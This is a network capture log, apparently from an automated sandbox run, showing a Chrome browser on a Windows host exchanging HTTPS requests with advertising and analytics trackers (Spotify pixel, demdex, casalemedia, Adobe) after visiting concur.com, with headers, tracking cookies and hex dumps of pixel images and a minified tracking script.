2024-10-03 08:41:44 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 03 Oct 2024 08:41:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:44 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49996	35.186.224.24	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	510	OUT	OPTIONS /v1/ingest HTTP/1.1 Host: pixels.spotify.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.concur.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	321	IN	HTTP/1.1 200 OK access-control-allow-origin: https://www.concur.com access-control-allow-headers: content-type vary: Accept-Encoding date: Thu, 03 Oct 2024 08:41:44 GMT server: envoy Content-Length: 0 Via: HTTP/2 edgeproxy, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49998	35.244.174.68	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	675	OUT	GET /464526.gif HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=0iEBRQrNVUhf7/TZ5+7gyV3JcCZDt4TMzn91TnQsddk=; pxrc=CL6x+bcGEgUI6AcQABIGCPHrARAA
2024-10-03 08:41:45 UTC	248	IN	HTTP/1.1 451 unknown Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 08:41:45 GMT Content-Length: 44 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:45 UTC	44	IN	Data Raw: 6d 75 73 74 20 62 65 20 65 78 61 63 74 6c 79 20 6f 6e 65 20 27 63 74 27 20 61 6e 64 20 27 63 76 27 20 70 61 72 61 6d 65 74 65 72 0a Data Ascii: must be exactly one 'ct' and 'cv' parameter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50005	104.18.36.155	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	500	OUT	GET /rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; CMPS=489; CMPRO=489
2024-10-03 08:41:45 UTC	953	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:45 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8ccba289891d435c-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; Path=/; Domain=casalemedia.com; Expires=Fri, 03 Oct 2025 08:41:45 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=489; Path=/; Domain=casalemedia.com; Expires=Wed, 01 Jan 2025 08:41:45 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bmiZjO00bfu4T%2F7pa%2B7qx25CLPFk6oeLfRnhVDQjcFu%2FcKGbKLcFmSgY2iC6jIgXyOgGCYw0oDvfmhw8uiAAchzLNybzfehzp3yA0wSzMbnquUES1PQrNIjLGHOBcY5i0ASzEaHd3xkzag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 08:41:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50009	35.244.142.80	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	346	OUT	GET /ping.min.js HTTP/1.1 Host: cdn.pdst.fm Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	829	IN	HTTP/1.1 200 OK x-goog-generation: 1719323749654301 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 22096 x-goog-hash: crc32c=NZyeaA== x-goog-hash: md5=Tt3uyVr9qWmz0bL7lwwesQ== x-goog-storage-class: STANDARD Accept-Ranges: bytes Content-Length: 22096 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Type X-GUploader-UploadID: AD-8ljuxHQGxKecF17HwDHRv3bjIP4AaITJXNA-O9kC9teLTXVtRXHM4CQXIqfiqezIKeJj8vQQ Server: UploadServer Date: Thu, 03 Oct 2024 08:09:08 GMT Expires: Thu, 03 Oct 2024 09:09:08 GMT Cache-Control: public, max-age=3600 Age: 1957 Last-Modified: Tue, 25 Jun 2024 13:55:49 GMT ETag: "4eddeec95afda969b3d1b2fb970c1eb1" Content-Type: text/javascript Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:45 UTC	561	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 32 32 38 3a 74 3d 3e 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 65 3d 22 7e 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6e 2c 65 29 7b 74 68 69 73 2e 66 6e 3d 74 2c 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 6e 2c 74 68 69 73 2e 6f 6e 63 65 3d 65 7c 7c 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 6e 2c 72 2c 69 2c 63 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 6c 69 73 74 65 6e 65 72 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 76 61 72 Data Ascii: (()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 28 6e 65 77 20 72 29 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 28 65 3d 21 31 29 29 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 65 76 65 6e 74 4e 61 6d 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 72 2c 6f 3d 5b 5d 3b 69 66 28 30 3d 3d 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 43 6f 75 6e 74 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 72 20 69 6e 20 74 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 29 6e 2e 63 61 6c 6c 28 74 2c 72 29 26 26 6f 2e 70 75 73 68 28 65 3f 72 2e 73 6c 69 63 65 28 31 29 3a 72 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3f 6f 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d Data Ascii: ject.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySym
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 72 67 75 6d 65 6e 74 73 5b 70 5d 3b 66 5b 73 5d 2e 66 6e 2e 61 70 70 6c 79 28 66 5b 73 5d 2e 63 6f 6e 74 65 78 74 2c 61 29 7d 7d 72 65 74 75 72 6e 21 30 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 31 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 30 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 65 3f 65 2b 74 3a 74 3b 69 66 28 21 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 69 5d 29 72 65 74 75 72 6e 20 74 68 Data Ascii: rguments[p];f[s].fn.apply(f[s].context,a)}}return!0},u.prototype.on=function(t,n,e){return i(this,t,n,e,!1)},u.prototype.once=function(t,n,e){return i(this,t,n,e,!0)},u.prototype.removeListener=function(t,n,r,o){var i=e?e+t:t;if(!this._events[i])return th
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 73 6c 69 63 65 28 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 6e 3d 30 29 7b 72 65 74 75 72 6e 20 63 5b 74 5b 6e 2b 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 5d 5d 2b 63 5b 74 5b 6e 2b 32 5d 5d 2b 63 5b 74 5b 6e 2b 33 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 34 5d 5d 2b 63 5b 74 5b 6e 2b 35 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 36 5d 5d 2b 63 5b 74 5b 6e 2b 37 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 38 5d 5d 2b 63 5b 74 5b 6e 2b 39 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 31 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 31 5d 5d 2b 63 5b 74 5b 6e 2b 31 32 5d 5d 2b 63 5b 74 5b 6e 2b 31 33 5d 5d 2b 63 5b 74 5b 6e 2b 31 34 5d 5d 2b 63 5b 74 5b 6e 2b 31 35 5d 5d 7d 63 6f 6e 73 74 20 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 6e 2e 72 61 6e 64 6f 6d 55 55 49 Data Ascii: slice(1));function u(t,n=0){return c[t[n+0]]+c[t[n+1]]+c[t[n+2]]+c[t[n+3]]+"-"+c[t[n+4]]+c[t[n+5]]+"-"+c[t[n+6]]+c[t[n+7]]+"-"+c[t[n+8]]+c[t[n+9]]+"-"+c[t[n+10]]+c[t[n+11]]+c[t[n+12]]+c[t[n+13]]+c[t[n+14]]+c[t[n+15]]}const a=function(t,e,r){if(n.randomUUI
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6e 5b 65 5d 3d 74 2e 66 69 65 6c 64 73 5b 65 5d 28 74 5b 65 5d 29 2c 6e 7d 29 2c 7b 7d 29 7d 7d 2c 74 7d 28 29 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 2e 74 6f 53 74 72 69 6e 67 28 29 3a 6e 75 6c 6c 7d 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 70 61 72 73 65 49 6e 74 28 74 2c 31 30 29 3b 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3f 6e 75 6c 6c 3a 6e 7d 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 Data Ascii: {return n[e]=t.fields[e](t[e]),n}),{})}},t}(),w=function(){return function(t){return"string"==typeof t?t:"number"==typeof t?t.toString():null}},m=function(){return function(t){var n=parseInt(t,10);return isNaN(n)?null:n}},g=function(){return function(t){v
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 54 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 63 6f 6e 73 74 20 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 76 61 72 20 65 3d 74 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 65 2e 61 63 74 69 6f 6e 3d 22 76 69 65 77 22 3b 76 61 72 20 72 3d 53 28 7b 73 6f 75 72 63 65 3a 77 28 29 2c 70 6c 61 63 65 6d 65 6e 74 3a 77 28 29 2c 66 72 6f 6d 3a 77 28 29 7d 29 3b 65 2e 66 69 65 6c 64 73 3d 54 28 7b 75 72 6c 3a 77 28 29 2c 72 65 66 65 72 72 65 72 3a 77 28 29 2c 69 6e 49 66 72 61 6d 65 3a 62 28 29 2c 77 69 6e 64 6f 77 57 69 64 74 68 3a 6d 28 29 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 3a 6d 28 29 2c 74 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 3a 6d Data Ascii: [o]);return t},T.apply(this,arguments)};const E=function(t){function n(n){var e=t.call(this)\|\|this;e.action="view";var r=S({source:w(),placement:w(),from:w()});e.fields=T({url:w(),referrer:w(),inIframe:b(),windowWidth:m(),windowHeight:m(),timezoneOffset:m
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 28 29 29 2c 6e 3d 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 49 29 29 2c 74 3d 6e 7c 7c 22 30 22 7d 72 65 74 75 72 6e 20 74 7d 2c 56 3d 7b 75 73 65 72 3a 55 28 29 2c 73 65 73 73 69 6f 6e 3a 44 28 29 2c 70 61 67 65 3a 66 28 29 7d 3b 63 6f 6e 73 74 20 71 3d 56 3b 76 61 72 20 4c 3d 7b 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 65 3d 22 73 70 64 74 2d 22 2e 63 6f 6e 63 61 74 28 73 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 28 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 31 65 33 29 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 6e 29 29 29 2c 72 3d 7b 6f 72 64 65 72 3a 30 2c 70 69 64 3a 71 2e 70 61 67 65 2c 73 69 64 3a 71 2e 73 65 73 Data Ascii: ()),n=sessionStorage.getItem(I)),t=n\|\|"0"}return t},V={user:U(),session:D(),page:f()};const q=V;var L={},N=function(t){if(!t)return!1;var n,e="spdt-".concat(s(),"-").concat((void 0===n&&(n=1e3),Math.floor(Math.random()*n))),r={order:0,pid:q.page,sid:q.ses
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 65 6d 28 22 70 61 72 74 6e 65 72 5f 75 73 65 72 5f 69 64 22 2c 6e 2e 70 61 72 74 6e 65 72 5f 75 73 65 72 5f 69 64 29 2c 65 2e 75 70 64 61 74 65 28 6e 29 2c 65 7d 72 65 74 75 72 6e 20 52 28 6e 2c 74 29 2c 6e 7d 28 6a 29 3b 76 61 72 20 48 3d 5b 5d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 4c 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4c 5b 74 5d 7d 29 29 3b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 6c 65 6e 67 74 68 3b 6e 2b 3d 31 29 7b 76 61 72 20 65 3d 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 6b 65 79 28 6e 29 Data Ascii: em("partner_user_id",n.partner_user_id),e.update(n),e}return R(n,t),n}(j);var H=[],z=function(t){var n=function(){var t=Object.keys(L).map((function(t){return L[t]}));if(window.localStorage)for(var n=0;n<localStorage.length;n+=1){var e=localStorage.key(n)
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 61 63 74 69 6f 6e 7d 29 29 7c 7c 74 2e 65 76 65 6e 74 73 2e 70 75 73 68 28 61 29 7d 29 29 7d 69 66 28 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 66 3d 71 2e 70 61 67 65 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 69 64 3d 3d 3d 66 26 26 28 48 3d 48 2e 63 6f 6e 63 61 74 28 74 2e 65 76 65 6e 74 73 29 29 7d 29 29 3b 76 61 72 20 6c 3d 6e 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 7b 70 69 78 65 6c 5f 69 64 3a 68 28 22 6b 65 79 22 29 7d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2c 7b 75 69 64 3a 71 2e 75 73 65 72 2c 74 69 6d 65 3a 73 28 29 2c 70 69 78 65 6c 5f 76 65 72 73 69 6f 6e 3a 22 22 2e 63 6f 6e 63 61 74 28 22 32 2e 30 2e 30 22 Data Ascii: action}))\|\|t.events.push(a)}))}if(0===n.length)return!1;var f=q.page;n.forEach((function(t){t.pid===f&&(H=H.concat(t.events))}));var l=n.map((function(t){var n={pixel_id:h("key")};return Object.assign(t,{uid:q.user,time:s(),pixel_version:"".concat("2.0.0"
2024-10-03 08:41:45 UTC	1390	IN	Data Raw: 28 72 2c 75 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6f 3b 73 77 69 74 63 68 28 72 3d 30 2c 6f 26 26 28 75 3d 5b 32 26 75 5b 30 5d 2c 6f 2e 76 61 6c 75 65 5d 29 2c 75 5b 30 5d 29 7b 63 61 73 65 20 30 3a 63 61 73 65 20 31 3a 6f 3d 75 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 63 2e 6c 61 62 65 6c 2b 2b 2c 7b 76 61 6c 75 65 3a 75 5b 31 5d 2c 64 6f 6e 65 3a 21 31 7d 3b 63 61 73 65 20 35 3a 63 2e 6c 61 62 65 6c 2b 2b 2c 72 3d 75 5b 31 5d 2c 75 3d 5b 30 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 20 37 3a 75 3d 63 2e 6f 70 73 2e 70 6f 70 28 29 2c 63 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 64 65 66 61 75 6c 74 3a 69 66 28 21 28 6f 3d 63 2e 74 72 79 73 2c 28 6f 3d 6f 2e 6c 65 6e 67 74 68 3e 30 26 26 6f 5b Data Ascii: (r,u[1])).done)return o;switch(r=0,o&&(u=[2&u[0],o.value]),u[0]){case 0:case 1:o=u;break;case 4:return c.label++,{value:u[1],done:!1};case 5:c.label++,r=u[1],u=[0];continue;case 7:u=c.ops.pop(),c.trys.pop();continue;default:if(!(o=c.trys,(o=o.length>0&&o[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50001	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	775	OUT	GET /ibs:dpid=121998&dpuuid=ca2adc00dc5ddaa22e4ddf2a5cd80e47 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411\|144230-1-1727944901388\|144231-1-1727944902393\|144232-1-1727944903799
2024-10-03 08:41:45 UTC	892	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:45 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Xj7JSKMySEc= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-0d671402b.edge-irl1.demdex.com 22 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:45 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:45 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50007	63.140.62.222	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	2013	OUT	GET /b/ss/concur-global-all,concur-all/10/JS-2.22.0/s4921290028796?AQB=1&ndh=1&pf=1&callback=s_c_il[1].doPostbacks&et=1&t=3%2F9%2F2024%204%3A41%3A39%204%20240&cid.&concuruser.&id=1486f2f9-7a8c-4199-e491-6192cc1ca748&as=1&.concuruser&.cid&d.&nsid=0&jsonv=1&.d&sdid=2ECDF2DFEF7C53EF-060FC7AD4029FB39&mid=77086837030265396271481667617469483305&aamlh=6&ce=UTF-8&ns=concurtechnologies&cdp=2&pageName=homepage&g=https%3A%2F%2Fwww.concur.com%2F&c.&adConsent=YY&.c&cc=USD&ch=no%20section&server=concurtechnologies.sc.omtrdc.net&aamb=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&c6=homepage&c12=en-us&v12=1486f2f9-7a8c-4199-e491-6192cc1ca748&v13=D%3DpageName&v17=direct&v18=direct&v19=direct&v20=direct&v21=admin%20exports%20900&c22=VisitorAPI%20Present&v22=admin%20exports%20900&v23=Corporate%20Services&v24=Human%20Resources%20and%20Staffing&v25=8&v26=7361&v27=Not%20In%20List&v28=SC&v29=29607&v30=US&v31=United%20States&v32=3750000&v33=%241M%20-%20%245M&v34=%3C%2050&v35=SOHO&v36=ISP%20Visitor&v37=en-us&v38=Not%20In%20Lis [TRUNCATED] Host: concurtechnologies.sc.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	616	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Thu, 03 Oct 2024 08:41:45 GMT expires: Wed, 02 Oct 2024 08:41:45 GMT last-modified: Fri, 04 Oct 2024 08:41:45 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag etag: 3710733428172554240-4618236341795040121 vary: * x-aam-tid: M0dRYoFXQwY= dcs: dcs-prod-irl1-1-v065-0479d21ae.edge-irl1.demdex.com 15 ms content-type: application/x-javascript;charset=utf-8 content-length: 4137 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
